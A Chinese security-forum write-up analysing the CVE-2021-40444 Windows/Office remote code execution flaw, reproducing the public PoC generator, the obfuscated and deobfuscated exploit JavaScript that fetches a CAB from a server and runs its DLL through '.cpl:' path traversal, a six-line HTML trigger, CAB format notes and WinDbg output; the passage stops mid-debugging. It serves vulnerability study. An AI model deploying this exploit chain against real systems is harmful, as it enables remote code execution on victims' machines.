首页
论坛
课程
招聘
[原创]详细分析CVE-2021-40444远程命令执行漏洞
2021-10-27 18:20 18720

[原创]详细分析CVE-2021-40444远程命令执行漏洞

2021-10-27 18:20
18720

1. 前言

按照顺序,本来计划要看的应该是《漏洞战争》中的Adobe Reader UAF漏洞,最近一直在看的Adobe产品的漏洞……所以决定转换一下思路,挑了最近新出现的CVE-2021-40444漏洞。刚好404之前有一篇博客写过这个漏洞,我在它的参考资料里面找到了github上面提供的poc生成代码,以及j00sean在twitter上面发的6行代码,以这两者为基础对该漏洞进行分析。

2. poc静态分析

先看github上面的项目,根据Readme中的信息,用于生成Poc的主体代码文件是exploit.py,生成命令为:

 

python3 [exploit.py](http://exploit.py/) generate test/calc.dll http://<SRV IP>

 

那么我们先来看一下exploit.py这个文件。

2.1 poc生成代码

观察exploit.py,用于生成poc的主体函数是generate_payload(),主要功能代码如下(删除了一些不影响理解的代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def generate_payload():
    # 1. 将payload内容写入word.dll
    payload_content = open(payload_path,'rb').read()
    filep = open('data/word.dll','wb')
    filep.write(payload_content)
 
  # 2. 将服务器地址写入要生成的doc文档中
    execute_cmd('cp -r data/word_dat/ data/tmp_doc/')
    rels_pr = open('data/tmp_doc/word/_rels/document.xml.rels', 'r')
    xml_content = rels_pr.read()
    xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', srv_url + '/word.html')
    rels_pw = open('data/tmp_doc/word/_rels/document.xml.rels', 'w')
    rels_pw.write(xml_content)
 
    # 3. 生成doc文档
    os.system('zip -r document.docx *')
    execute_cmd('cp document.docx ../../out/document.docx')
 
    # 4. 生成cab文件
    execute_cmd('cp word.dll msword.inf')
    execute_cmd('lcab \'../msword.inf\' out.cab')
    patch_cab('out.cab')
    execute_cmd('cp out.cab ../../srv/word.cab')
 
    # 5. 替换HTML文件中的cab文件路径
    execute_cmd('cp backup.html word.html')
    p_exp = open('word.html', 'r')
    exploit_content = p_exp.read()
    exploit_content = exploit_content.replace('<HOST_CHANGE_HERE>', srv_url + '/word.cab')
    p_exp = open('word.html', 'w')
    p_exp.write(exploit_content)
 
    return

注意到在第二步中,代码对doc文档中的word/_rels/document.xml.rels文件进行了更新,添加了srv_url + '/word.html',这样在文档打开的时候,就会尝试连接服务器地址并打开word.html文件;

 

在第五步中,代码对doc文档会打开的word.html文件进行了更新,添加了word.cab的连接路径;

 

而word.cab文件又是从命令行中指定的payloadtest/calc.dll,使用lcab工具生成的cab文件。

 

所以接下来我们要看一下word.html和word.cab文件又干了些什么。

2.2 HTML文件

注:我也是自己反混淆完之后才发现lockedbyte的github项目里面有deobfuscate.py文件和deob.html文件,/(ㄒoㄒ)/~~

 

word.html中包含一段混淆后的javascript代码,首先使用notepad++中的插件进行一下美化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
var a0_0x127f = ['123', '365952KMsRQT', 'tiveX', '/Lo', './../../', 'contentDocument', 'ppD', 'Dat', 'close', 'Acti', 'removeChild', 'mlF', 'write', './A', 'ata/', 'ile', '../', 'body', 'setAttribute', '#version=5,0,0,0', 'ssi', 'iframe', '748708rfmUTk', 'documentElement', 'lFile', 'location', '159708hBVRtu', 'a/Lo', 'Script', 'document', 'call', 'contentWindow', 'emp', 'Document', 'Obj', 'prototype', 'lfi', 'bject', 'send', 'appendChild', 'Low/msword.inf', 'htmlfile', '115924pLbIpw', 'GET', 'p/msword.inf', '1109sMoXXX', './../A', 'htm', 'l/T', 'cal/', '1wzQpCO', 'ect', 'w/msword.inf', '522415dmiRUA', 'http://192.168.6.155/word.cab', '88320wWglcB', 'XMLHttpRequest', 'msword.inf', 'Act', 'D:edbc374c-5730-432a-b5b8-de94f0b57217', 'open', '<bo', 'HTMLElement', '/..', 'veXO', '102FePAWC'];
function a0_0x15ec(_0x329dba, _0x46107c) {
    return a0_0x15ec = function (_0x127f75, _0x15ecd5) {
        _0x127f75 = _0x127f75 - 0xaa;
        var _0x5a770c = a0_0x127f[_0x127f75];
        return _0x5a770c;
    },
    a0_0x15ec(_0x329dba, _0x46107c);
}
(function (_0x59985d, _0x17bed8) {
    var _0x1eac90 = a0_0x15ec;
    while (!![]) {
        try {
            var _0x2f7e2d = parseInt(_0x1eac90(0xce)) + parseInt(_0x1eac90(0xd8)) * parseInt(_0x1eac90(0xc4)) + parseInt(_0x1eac90(0xc9)) * -parseInt(_0x1eac90(0xad)) + parseInt(_0x1eac90(0xb1)) + parseInt(_0x1eac90(0xcc)) + -parseInt(_0x1eac90(0xc1)) + parseInt(_0x1eac90(0xda));
            if (_0x2f7e2d === _0x17bed8)
                break;
            else
                _0x59985d['push'](_0x59985d['shift']());
        } catch (_0x34af1e) {
            _0x59985d['push'](_0x59985d['shift']());
        }
    }
}
    (a0_0x127f, 0x5df71), function () {
    var _0x2ee207 = a0_0x15ec,
    _0x279eab = window,
    _0x1b93d7 = _0x279eab[_0x2ee207(0xb4)],
    _0xcf5a2 = _0x279eab[_0x2ee207(0xb8)]['prototype']['createElement'],
    _0x4d7c02 = _0x279eab[_0x2ee207(0xb8)]['prototype'][_0x2ee207(0xe5)],
    _0x1ee31c = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xbe)],
    _0x2d20cd = _0x279eab[_0x2ee207(0xd5)][_0x2ee207(0xba)][_0x2ee207(0xe3)],
    _0x4ff114 = _0xcf5a2['call'](_0x1b93d7, _0x2ee207(0xac));
    try {
        _0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114);
    } catch (_0x1ab454) {
        _0x1ee31c[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xae)], _0x4ff114);
    }
    var _0x403e5f = _0x4ff114[_0x2ee207(0xb6)]['ActiveXObject'],
    _0x224f7d = new _0x403e5f(_0x2ee207(0xc6) + _0x2ee207(0xbb) + 'le');
    _0x4ff114[_0x2ee207(0xde)]['open']()[_0x2ee207(0xe1)]();
    var _0x371a71 = 'p';
    try {
        _0x2d20cd[_0x2ee207(0xb5)](_0x1b93d7[_0x2ee207(0xea)], _0x4ff114);
    } catch (_0x3b004e) {
        _0x2d20cd['call'](_0x1b93d7['documentElement'], _0x4ff114);
    }
    function _0x2511dc() {
        var _0x45ae57 = _0x2ee207;
        return _0x45ae57(0xcd);
    }
    _0x224f7d['open']()[_0x2ee207(0xe1)]();
    var _0x3e172f = new _0x224f7d[(_0x2ee207(0xb3))][(_0x2ee207(0xd1)) + 'iveX' + (_0x2ee207(0xb9)) + (_0x2ee207(0xca))]('htm' + _0x2ee207(0xaf));
    _0x3e172f[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();
    var _0xd7e33d = 'c',
    _0x35b0d4 = new _0x3e172f[(_0x2ee207(0xb3))]['Ac' + (_0x2ee207(0xdb)) + 'Ob' + 'ject']('ht' + _0x2ee207(0xe4) + _0x2ee207(0xe8));
    _0x35b0d4[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();
    var _0xf70c6e = new _0x35b0d4['Script'][(_0x2ee207(0xe2)) + (_0x2ee207(0xd7)) + (_0x2ee207(0xbc))]('ht' + 'mlF' + _0x2ee207(0xe8));
    _0xf70c6e[_0x2ee207(0xd3)]()[_0x2ee207(0xe1)]();
    var _0xfed1ef = new ActiveXObject('htmlfile'),
    _0x5f3191 = new ActiveXObject(_0x2ee207(0xc0)),
    _0xafc795 = new ActiveXObject(_0x2ee207(0xc0)),
    _0x5a6d4b = new ActiveXObject('htmlfile'),
    _0x258443 = new ActiveXObject('htmlfile'),
    _0x53c2ab = new ActiveXObject('htmlfile'),
    _0x3a627b = _0x279eab[_0x2ee207(0xcf)],
    _0x2c84a8 = new _0x3a627b(),
    _0x220eee = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xd3)],
    _0x3637d8 = _0x3a627b[_0x2ee207(0xba)][_0x2ee207(0xbd)],
    _0x27de6f = _0x279eab['setTimeout'];
    _0x220eee[_0x2ee207(0xb5)](_0x2c84a8, _0x2ee207(0xc2), _0x2511dc(), ![]),
    _0x3637d8[_0x2ee207(0xb5)](_0x2c84a8),
    _0xf70c6e[_0x2ee207(0xb3)][_0x2ee207(0xb4)][_0x2ee207(0xe5)](_0x2ee207(0xd4) + 'dy>');
    var _0x126e83 = _0xcf5a2[_0x2ee207(0xb5)](_0xf70c6e['Script'][_0x2ee207(0xb4)], 'ob' + 'je' + 'ct');
    _0x126e83[_0x2ee207(0xeb)]('co' + 'de' + 'ba' + 'se', _0x2511dc() + _0x2ee207(0xaa));
    var _0x487bfa = 'l';
    _0x126e83[_0x2ee207(0xeb)]('c' + 'la' + _0x2ee207(0xab) + 'd', 'CL' + 'SI' + _0x2ee207(0xd2)),
    _0x1ee31c[_0x2ee207(0xb5)](_0xf70c6e[_0x2ee207(0xb3)]['document']['body'], _0x126e83),
    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',
    _0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',
    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
    _0xfed1ef['Script']['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
    _0xfed1ef[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xd9),
    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '123',
    _0xfed1ef[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + '/.' + _0x2ee207(0xc5) + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb),
    _0x5f3191[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + _0x2ee207(0xe0) + 'a/Lo' + 'ca' + _0x2ee207(0xc7) + 'em' + 'p/msword.inf',
    _0xafc795[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + './../A' + _0x2ee207(0xdf) + _0x2ee207(0xe7) + 'Lo' + _0x2ee207(0xc8) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + 'w/msword.inf',
    _0x5a6d4b[_0x2ee207(0xb3)][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + _0x2ee207(0xe9) + '..' + '/.' + _0x2ee207(0xe6) + 'pp' + 'Dat' + _0x2ee207(0xb2) + 'ca' + 'l/T' + 'em' + _0x2ee207(0xc3),
    _0x258443[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '..' + _0x2ee207(0xd6) + '/.' + _0x2ee207(0xdd) + 'T' + _0x2ee207(0xb7) + _0x2ee207(0xdc) + _0x2ee207(0xcb),
    _0x5a6d4b['Script'][_0x2ee207(0xb0)] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':.' + './' + '../' + '..' + '/.' + './../T' + 'em' + 'p/msword.inf',
    _0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + _0x2ee207(0xe9) + _0x2ee207(0xe9) + _0x2ee207(0xbf),
    _0x5a6d4b[_0x2ee207(0xb3)]['location'] = '.' + _0xd7e33d + _0x371a71 + _0x487bfa + ':' + '../' + _0x2ee207(0xe9) + _0x2ee207(0xd0);
}
    ());

可以看到代码前段其实算是一个“密码本”,通过_0x127f75 = _0x127f75 - 0xaa;操作以及_0x59985d['push'](_0x59985d['shift']());操作,获取到对应索引值位置真正的字符串,代码的后半段很多内容都是通过在该“密码本”中索引并拼接实现的。

 

一开始我对_0x59985d['push'](_0x59985d['shift']());操作不太熟悉,还是在IE中确定这句代码实际上是在对数组进行一个原位的前向循环。

 

最终使用一个python脚本对这段代码进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import re
 
data = ['123', '365952KMsRQT', 'tiveX', '/Lo', './../../', 'contentDocument', 'ppD', 'Dat', 'close', 'Acti', 'removeChild', 'mlF', 'write', './A', 'ata/', 'ile', '../', 'body', 'setAttribute', '#version=5,0,0,0', 'ssi', 'iframe', '748708rfmUTk', 'documentElement', 'lFile', 'location', '159708hBVRtu', 'a/Lo', 'Script', 'document', 'call', 'contentWindow', 'emp', 'Document', 'Obj', 'prototype', 'lfi', 'bject', 'send', 'appendChild', 'Low/msword.inf', 'htmlfile', '115924pLbIpw', 'GET', 'p/msword.inf', '1109sMoXXX', './../A', 'htm', 'l/T', 'cal/', '1wzQpCO', 'ect', 'w/msword.inf', '522415dmiRUA', 'http://192.168.6.155/word.cab', '88320wWglcB', 'XMLHttpRequest', 'msword.inf', 'Act', 'D:edbc374c-5730-432a-b5b8-de94f0b57217', 'open', '<bo', 'HTMLElement', '/..', 'veXO', '102FePAWC'];
 
def parseInt(s):
    result = re.match(r'[0-9]*', s)
    if result.group():
        return int(result.group())
    else:
        return 0
 
def decode(idx):
    global data
    return data[idx-170]
 
def transform_data(code):
    global data
    while True:
        num = parseInt(decode(206)) + parseInt(decode(216)) * parseInt(decode(196)) + parseInt(decode(201)) * -parseInt(decode(173)) + parseInt(decode(177)) + parseInt(decode(204)) -parseInt(decode(193)) + parseInt(decode(218));
        if num == code:
            break
        data.append(data[0])
        data = data[1:]
 
NAME = "a0_0x15ec"
 
js_file = open('original_new.js', 'r')
contents = js_file.readlines()
contents = ''.join(contents)
 
transform_data(384881)
 
newName_pattern = re.compile(r'(\w+) = ' + NAME)
newName_set = set(newName_pattern.findall(contents))
while newName_set - {NAME}:
    for n in newName_set:
        contents = contents.replace(n, NAME)
    newName_set = set(newName_pattern.findall(contents))
 
for i in range(len(data)):
    original = NAME + '(0x' + '{:0>2x}'.format(i+170) + ')'
    contents = contents.replace(original, "'" + data[i] + "'")
 
str_pattern = re.compile(r'(\w+) = \'(\w+)\'')
for pair in str_pattern.findall(contents):
    contents = contents.replace(pair[0], "'" + pair[1] + "'")
 
#contents = contents.replace("' + '", "")
contents = re.sub(r'\'\)? \+ \(?\'', '', contents)
print(contents)

得到最终的代码(后半部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
var a0_0x15ec = a0_0x15ec,
_0x279eab = window,
_0x1b93d7 = _0x279eab['document'],
_0xcf5a2 = _0x279eab['Document']['prototype']['createElement'],
_0x4d7c02 = _0x279eab['Document']['prototype']['write'],
_0x1ee31c = _0x279eab['HTMLElement']['prototype']['appendChild'],
_0x2d20cd = _0x279eab['HTMLElement']['prototype']['removeChild'],
_0x4ff114 = _0xcf5a2['call'](_0x1b93d7, 'iframe');
try {
    _0x1ee31c['call'](_0x1b93d7['body'], _0x4ff114);
} catch (_0x1ab454) {
    _0x1ee31c['call'](_0x1b93d7['documentElement'], _0x4ff114);
}
var _0x403e5f = _0x4ff114['contentWindow']['ActiveXObject'],
_0x224f7d = new _0x403e5f('htmlfile');
_0x4ff114['contentDocument']['open']()['close']();
var 'p' = 'p';
try {
    _0x2d20cd['call'](_0x1b93d7['body'], _0x4ff114);
} catch (_0x3b004e) {
    _0x2d20cd['call'](_0x1b93d7['documentElement'], _0x4ff114);
}
function _0x2511dc() {
    var a0_0x15ec = a0_0x15ec;
    return 'http://192.168.6.155/word.cab';
}
_0x224f7d['open']()['close']();
var _0x3e172f = new _0x224f7d[('Script')][('ActiveXObject')]('htmlFile');
_0x3e172f['open']()['close']();
var 'c' = 'c',
_0x35b0d4 = new _0x3e172f[('Script')]['ActiveXObject']('htmlFile');
_0x35b0d4['open']()['close']();
var _0xf70c6e = new _0x35b0d4['Script'][('ActiveXObject')]('htmlFile');
_0xf70c6e['open']()['close']();
var _0xfed1ef = new ActiveXObject('htmlfile'),
_0x5f3191 = new ActiveXObject('htmlfile'),
_0xafc795 = new ActiveXObject('htmlfile'),
_0x5a6d4b = new ActiveXObject('htmlfile'),
_0x258443 = new ActiveXObject('htmlfile'),
_0x53c2ab = new ActiveXObject('htmlfile'),
_0x3a627b = _0x279eab['XMLHttpRequest'],
_0x2c84a8 = new _0x3a627b(),
_0x220eee = _0x3a627b['prototype']['open'],
_0x3637d8 = _0x3a627b['prototype']['send'],
_0x27de6f = _0x279eab['setTimeout'];
_0x220eee['call'](_0x2c84a8, 'GET', _0x2511dc(), ![]),
_0x3637d8['call'](_0x2c84a8),
_0xf70c6e['Script']['document']['write']('<body>');
var _0x126e83 = _0xcf5a2['call'](_0xf70c6e['Script']['document'], 'object');
_0x126e83['setAttribute']('codebase', _0x2511dc() + '#version=5,0,0,0');
var 'l' = 'l';
_0x126e83['setAttribute']('classid', 'CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'),
_0x1ee31c['call'](_0xf70c6e['Script']['document']['body'], _0x126e83),
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:123',
_0xfed1ef['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/msword.inf',
_0x5f3191['Script']['location'] = '.cpl:../../../AppData/Local/Temp/msword.inf',
_0xafc795['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/msword.inf',
_0x258443['Script']['location'] = '.cpl:../../../../../Temp/Low/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../../../../Temp/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../Low/msword.inf',
_0x5a6d4b['Script']['location'] = '.cpl:../../msword.inf';

其实还有一些内容是可以处理的,但是到此为止已经明显能够看出代码的功能了。它向服务器端请求并插入了http://192.168.6.155/word.cab文件,同时设置script标签的location属性为不同路径下的msword.inf文件。

 

根据exploit.py,msword.inf文件就是word.dll文件,而word.dll文件的内容是命令行中指定的payload,即test/calc.dll的内容。

 

而word.cab则是由lcab '../msword.inf' out.cab命令以及patch_cab('out.cab')命令生成的out.cab文件复制得到。

 

也就是说由于漏洞的存在,导致在请求插入了word.cab之后,能够做到payload的执行

2.3 cab文件格式

根据wiki,cab文件就是Microsoft Windows中一种支持无损数据压缩以及数字证书的压缩格式。每个cab文档都由文件夹组成,每个文件夹作为单独的压缩块,文件夹中包含了不同的文件,不存在空文件夹。

 

从数据流的角度看,cab文件由CFHEADERCFFOLDERCFFILECFDATA四个结构组成。我们以word.cab文件为例,讲解这四个结构。

2.3.1 CFHEADER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct CFHEADER {
  u1  signature[4];  // 4D 53 43 46 即MSCF
  u4  reserved1;     // 00 00 00 00
  u4  cbCabinet;     // 84 7A 03 00 文件大小227972字节
  u4  reserved2      // 00 00 00 00
  u4  coffFiles;     // 2C 00 00 00 第一个CFFILE结构偏移
  u4  reserved3;     // 00 00 00 00
  u1  versionMinor;  // 03 版本信息
  u1  versionMajor;  // 01 版本信息
  u2  cFolders;      // 01 00 CFFOLDER的个数
  u2  cFiles;        // 01 00 CFFILE的个数
  u2  flags;         // 00 00 标志
  u2  setID;         // D2 04 用于标志同一集合内的所有cab文件
  u2  iCabinet;      // 00 00 该文件是集合中的第一个文件
// 接下来的都是可选项,由于flags为0,未设置任何标志位,
// 所以word.cab文件不包含接下来的数据项
  u2  cbCFHeader;    
  u1  cbCFFolder; 
  u1  cbCFData;       
  u1  abReserve[]; 
  u1  szCabinetPrev[];
  u1  szDiskPrev[];  
  u1  szCabinetNext[];
  u1  szDiskNext[];   
};

2.3.2 CFFOLDER

之后是cFoldersCFFOLDER结构,由于cFolders为1,所以这里只有一个CFFOLDER结构。

1
2
3
4
5
6
struct CFFOLDER {
  u4  coffCabStart;  // 4A 00 00 00 第一个CFDATA的偏移
  u2  cCFData;       // 07 00 CFDATA的个数
  u2  typeCompress;  // 00 00 CFDATA的压缩类型,未压缩
  u1  abReserve[];   // 可选项,不包含
};

2.3.3 CFFILE

之后是cFilesCFFILE结构,由于cFiles为1,所以这里只有一个CFFILE结构。

1
2
3
4
5
6
7
8
9
struct CFFILE {
  u4  cbFile;           // 02 00 5C 41 未压缩的文件大小 1096548354字节??
  u4  uoffFolderStart;  // 00 00 00 00 该文件在文件夹中的未压缩偏移
  u2  iFolder;          // 00 00 包含该文件的文件夹索引
  u2  date;             // 54 53 最后修改日期 2021-10-20
  u2  time;             // D1 08 最后修改时间 010634
  u2  attribs;          // 20 00 属性
  u1  szName[];         // 这里是14字节的字符串,当前文件名称 ../msword.inf
};

cbFile字段存在问题,太大了。

2.3.4 CFDATA

之后是cCFDataCFDATA结构,由于cCFData是7,所以这里有7个CFDATA结构。

1
2
3
4
5
6
7
struct CFDATA {
  u4  csum;         // 当前CFDATA结构的checksum
  u2  cbData;       // 该CFDATA结构包含的数据字节数
  u2  cbUncomp;     // 该CFDATA结构包含的未压缩数据字节数
  u1  abReserve[];  // 可选项,word.cab不包含
  u1  ab[cbData];   // 压缩后数据
};

2.3.5 word.cab的问题

根据2.2小结的结论,word.cab则是由lcab '../msword.inf' out.cab命令以及patch_cab('out.cab')命令生成的out.cab文件复制得到的,看一下patch_cab:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
m_off = 0x2d
def patch_cab(path):
    f_r = open(path, 'rb')
    cab_content = f_r.read()
    f_r.close()
 
    out_cab = cab_content[:m_off]
    out_cab += b'\x00\x5c\x41\x00'
    out_cab += cab_content[m_off+4:]
 
    out_cab = out_cab.replace(b'..\\msword.inf', b'../msword.inf')
 
    f_w = open(path, 'wb')
    f_w.write(out_cab)
    f_w.close()
    return

它把位于0x2d偏移处的四个字节修改成了0x00415c00,并且对..\\msword.inf进行了替换。

 

在根据word.cab分析cab文件格式的时候,我们遇到一个问题,CFFILE中的cbFile的值不太对。按道理来说,patch_cab想要修改的应该就是cbFile这个字段,但是m_off的选取不正常,看起来好像是假设CFFOLDER中的abReserve字段也存在一个字节。

 

为此我修改了一下exploit.py,删除了patch_cab函数的调用,重新观察生成的word.cab文件,此时cbFile处的数据为02 7A 03 00,也就是说未压缩的文件大小为227842字节。

 

注:如果你检查一下test/calc.dll文件的大小,会发现也是227842字节,因为这个cab文件未压缩,而且只包含calc.dll这一个文件。

 

因此,虽然目前还不知道为什么要修改cbFile字段,但是patch_cab这个函数应该是存在问题的。

2.4 小结

到目前为止,通过分析poc生成代码exploit.py,我们了解了进行漏洞利用的相关文件是如何生成的;同时对生成的word.html中的javascript代码进行了反混淆,确定了其功能;最后以word.cab为模板了解了cab文件格式。

 

但是仍旧有很多问题:

  1. 为什么要修改cbFile字段为0x00415C00
  2. 替换..\\msword.inf的作用是什么?
  3. word.html中,以.cpl:开头的一系列msword.inf的路径有什么用?
  4. word.cab中的msword.inf与第三点中的msword.inf有什么关联吗?

3. 漏洞利用调试分析

注:我在调试之前,手工把word.cab中cbFile的字段改成了0x00415c00,之前因为patch_cab存在问题,把这里修改成了0x415c0002,虽然这个修改并不影响最终结果。

3.1 exploit测试

操作系统:Win10 专业版 1709

 

nodejs: 16.11.1

 

IE: 11.1087.16299.0

 

因为我的win10虚拟机没装office,为了方便测试,就使用了j00sean在twitter中提到的6行代码:

1
2
3
4
5
6
7
8
9
10
<html>
<script>
var obj = document.createElement("object");
obj.setAttribute("codebase", window.location.origin + "/word.cab#version=5,0,0,0");
obj.setAttribute("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
var i = document.createElement("iframe");
document.documentElement.appendChild(i);
i.src = ".cpl:../../../AppData/Local/Temp/Low/msword.inf"
</script>
</html>
  1. 安装node-js,并安装http-server,具体操作见参考资料6
  2. 在桌面创建一个文件夹,包含文件word.cab,以及由上面代码组成的文件exploit.html
  3. 在上述文件夹中打开cmd,输入http-server开启服务器
  4. 在IE中输入地址http://127.0.0.1:8080/exploit.html,回车,成功弹出计算器

    图片描述

在procmon监控的事件中,找到了IE写入word[1].cab行为:

 

图片描述

 

找到了IE写入msword.inf行为:

 

图片描述

 

找到了control.exe运行msword.inf行为:

 

图片描述

 

亲自搭建环境测试之后,对于2.4中的第三个和第四个问题已经有了答案:

  1. word.html中之所以有那么多.cpl开头的路径,是因为无法确定用户环境中,最终msword.inf位于哪个文件夹下,所以需要做一些猜测;
  2. 两个msword.inf不仅内容相同,实际上就是同一个文件。javascript请求word.cab之后,这个文件在用户本地会自解压并将解压后文件放到缓存目录下,最终通过之后代码中的.cpl路径运行解压后的msword.inf文件。

3.2 怎样开始调试?

首先需要将windbg附加到iexplore.exe进程上,不知道是不是操作系统的原因,之前在win7上调试IE的时候没遇到这个问题,但是这次在win10上打开IE后,显示可附加的iexplore.exe有两个,一个是主进程,一个是对应打开标签的子进程,附加的时候一定要看好,需要附加到子进程上。

 

除了选择附加进程外,还存在另一个问题。之前漏洞调试的时候,因为漏洞比较古老,环境存在差异,导致漏洞利用无法成功完成,程序会陷入异常,这种情况对于漏洞调试反而是好的,你可以直接分析异常环境。但是这次漏洞利用成功完成,可以弹出计算器,这就导致如果不设置任何断点,F5继续执行后,整个流程就一发不可收拾地完成了,反而无法进行漏洞调试。所以必须要找到一个合适的断点,方便进行漏洞调试。

 

根据MSDN上的文档(参考资料1),FCI(File Compression Interface)和FDI(File Decompression Interface)库用于创建CAB以及从CAB中提取文件,相关功能函数位于cabinet.dll文件中。其中FDI API函数包括:FDICreate, FDIIsCabinet, FDICopy, FDIDestroy

 

而从3.1的测试结果来看,IE在请求了word.cab文件后,会自动进行解压缩释放cab里面保存的文件。因此我们完全可以在FDICreate函数处设置一个断点,此时一切尚未发生。

 

因此步骤就是:附加IE进程,设置断点,F5继续执行,输入URL,回车,程序中断在FDICreate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(11c8.1030): Break instruction exception - code 80000003 (first chance)
eax=02f0a000 ebx=00000000 ecx=7724a080 edx=20010088 esi=7724a080 edi=7724a080
eip=77211900 esp=0c0dfaec ebp=0c0dfb18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
77211900 cc              int     3
0:028> bu cabinet!FDICreate
0:028> g
Breakpoint 0 hit
eax=0e356efb ebx=07e2b290 ecx=71ab77d0 edx=08000000 esi=07e2b0f8 edi=71ab77d0
eip=71ab77d0 esp=07e2b0d0 ebp=07e2b100 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203
CABINET!FDICreate:
71ab77d0 8bff            mov     edi,edi

3.3 静态+动态分析

3.3.1 cabinet外层调用分析

目前windbg中断在了cabinet!FDICreate函数的起始位置,在调试跟踪之前,我们需要确定关注的重点位置,看一下此时的函数调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
0:009> kb
 # ChildEBP RetAddr  Args to Child             
00 07e2b0cc 71ea06a2 71e8a940 71e8aba0 71e8abb0 CABINET!FDICreate
01 07e2b100 71e8ad61 7720f80c 771fe810 ffffffff urlmon!FDICreate+0xc6
02 07e2b138 71ea59ec 07e2b28c 0c277dd8 07e2b7d8 urlmon!Extract+0x61
03 07e2b268 71ea5cb5 07e2b28c 07e2b5b8 053bb5d8 urlmon!ExtractInfFile+0x58
04 07e2b7c4 71e9f199 07e2b7dc 089140c8 800b010b urlmon!GetSupportedInstallScopesFromFile+0x8d
05 07e2b7e0 71e9f683 00000000 088d9620 089140c8 urlmon!SetInstallScopeFromFile+0x35
06 07e2bbac 71ea4355 00000858 002b0568 08914138 urlmon!Cwvt::VerifyTrust+0x39a
